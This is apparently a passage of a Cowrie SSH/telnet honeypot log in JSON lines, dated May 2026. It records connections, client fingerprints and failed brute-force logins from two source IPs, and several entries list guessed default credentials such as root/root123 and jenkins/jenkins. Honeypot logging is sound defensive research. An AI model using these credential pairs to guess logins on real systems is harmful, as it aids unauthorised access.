es128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:16.595407Z","src_ip":"176.65.132.129","session":"58634c1c0f3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:16.914460Z","src_ip":"176.65.132.129","session":"58634c1c0f3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:17.999337Z","src_ip":"176.65.132.129","session":"58634c1c0f3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00212955474854,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:18.618642Z","src_ip":"152.42.224.71","session":"abf38c7053dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56032,"dst_ip":"159.203.135.109","dst_port":22,"session":"a745686995c1","protocol":"ssh","message":"New connection: 176.65.132.129:56032 (159.203.135.109:22) [session: a745686995c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:19.823843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:19.829076Z","src_ip":"176.65.132.129","session":"a745686995c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:19.911103Z","src_ip":"176.65.132.129","session":"a745686995c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":115.37799310684204,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:20.110942Z","src_ip":"152.42.224.71","session":"a14e654d4728","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:20.157824Z","src_ip":"176.65.132.129","session":"a745686995c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:21.297862Z","src_ip":"176.65.132.129","session":"a745686995c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56062,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a6541e31b55","protocol":"ssh","message":"New connection: 176.65.132.129:56062 (159.203.135.109:22) [session: 7a6541e31b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:22.957341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:22.962794Z","src_ip":"176.65.132.129","session":"7a6541e31b55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:23.045669Z","src_ip":"176.65.132.129","session":"7a6541e31b55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:23.291525Z","src_ip":"176.65.132.129","session":"7a6541e31b55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:24.377374Z","src_ip":"176.65.132.129","session":"7a6541e31b55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54998,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e6a5cbb9e24","protocol":"telnet","message":"New connection: 152.42.224.71:54998 (10.17.0.5:23) [session: 7e6a5cbb9e24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:26.076644Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":32818,"dst_ip":"159.203.135.109","dst_port":22,"session":"84fcac4aefeb","protocol":"ssh","message":"New connection: 176.65.132.129:32818 (159.203.135.109:22) [session: 84fcac4aefeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:26.183206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:26.188678Z","src_ip":"176.65.132.129","session":"84fcac4aefeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:26.309172Z","src_ip":"176.65.132.129","session":"84fcac4aefeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:26.694829Z","src_ip":"176.65.132.129","session":"84fcac4aefeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:27.780392Z","src_ip":"176.65.132.129","session":"84fcac4aefeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":32844,"dst_ip":"159.203.135.109","dst_port":22,"session":"92e26a61309d","protocol":"ssh","message":"New connection: 176.65.132.129:32844 (159.203.135.109:22) [session: 92e26a61309d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:29.662000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:29.667313Z","src_ip":"176.65.132.129","session":"92e26a61309d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:29.754264Z","src_ip":"176.65.132.129","session":"92e26a61309d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:30.005434Z","src_ip":"176.65.132.129","session":"92e26a61309d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55012,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d1cf4b420d6","protocol":"telnet","message":"New connection: 152.42.224.71:55012 (10.17.0.5:23) [session: 6d1cf4b420d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:30.140886Z"}
{"eventid":"cowrie.session.closed","duration":35.00249171257019,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:31.042321Z","src_ip":"152.42.224.71","session":"c88e4b6a172c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:31.092803Z","src_ip":"176.65.132.129","session":"92e26a61309d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":32864,"dst_ip":"159.203.135.109","dst_port":22,"session":"6483ca47fb02","protocol":"ssh","message":"New connection: 176.65.132.129:32864 (159.203.135.109:22) [session: 6483ca47fb02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:32.876787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:32.881651Z","src_ip":"176.65.132.129","session":"6483ca47fb02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:32.964637Z","src_ip":"176.65.132.129","session":"6483ca47fb02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55014,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5136056f12c","protocol":"telnet","message":"New connection: 152.42.224.71:55014 (10.17.0.5:23) [session: c5136056f12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:32.972810Z"}
{"eventid":"cowrie.login.failed","username":"ams","password":"ams","message":"login attempt [ams/ams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:33.212829Z","src_ip":"176.65.132.129","session":"6483ca47fb02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55026,"dst_ip":"10.17.0.5","dst_port":23,"session":"00e1bfc26218","protocol":"telnet","message":"New connection: 152.42.224.71:55026 (10.17.0.5:23) [session: 00e1bfc26218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:34.014532Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:34.347684Z","src_ip":"176.65.132.129","session":"6483ca47fb02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57940,"dst_ip":"159.203.135.109","dst_port":22,"session":"12b29b78af12","protocol":"ssh","message":"New connection: 176.65.132.129:57940 (159.203.135.109:22) [session: 12b29b78af12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:36.084911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:36.090395Z","src_ip":"176.65.132.129","session":"12b29b78af12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:36.179499Z","src_ip":"176.65.132.129","session":"12b29b78af12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pg","password":"pg","message":"login attempt [pg/pg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:36.434137Z","src_ip":"176.65.132.129","session":"12b29b78af12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:37.522291Z","src_ip":"176.65.132.129","session":"12b29b78af12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57950,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c771e0a2840","protocol":"ssh","message":"New connection: 176.65.132.129:57950 (159.203.135.109:22) [session: 0c771e0a2840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:39.337148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:39.342508Z","src_ip":"176.65.132.129","session":"0c771e0a2840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:39.554559Z","src_ip":"176.65.132.129","session":"0c771e0a2840","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:39.895040Z","src_ip":"176.65.132.129","session":"0c771e0a2840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33562,"dst_ip":"10.17.0.5","dst_port":23,"session":"67339a169c98","protocol":"telnet","message":"New connection: 152.42.224.71:33562 (10.17.0.5:23) [session: 67339a169c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:39.985133Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:40.979401Z","src_ip":"176.65.132.129","session":"0c771e0a2840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57960,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b58ceb465be","protocol":"ssh","message":"New connection: 176.65.132.129:57960 (159.203.135.109:22) [session: 3b58ceb465be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:42.695523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:42.700390Z","src_ip":"176.65.132.129","session":"3b58ceb465be","protocol":"ssh"}
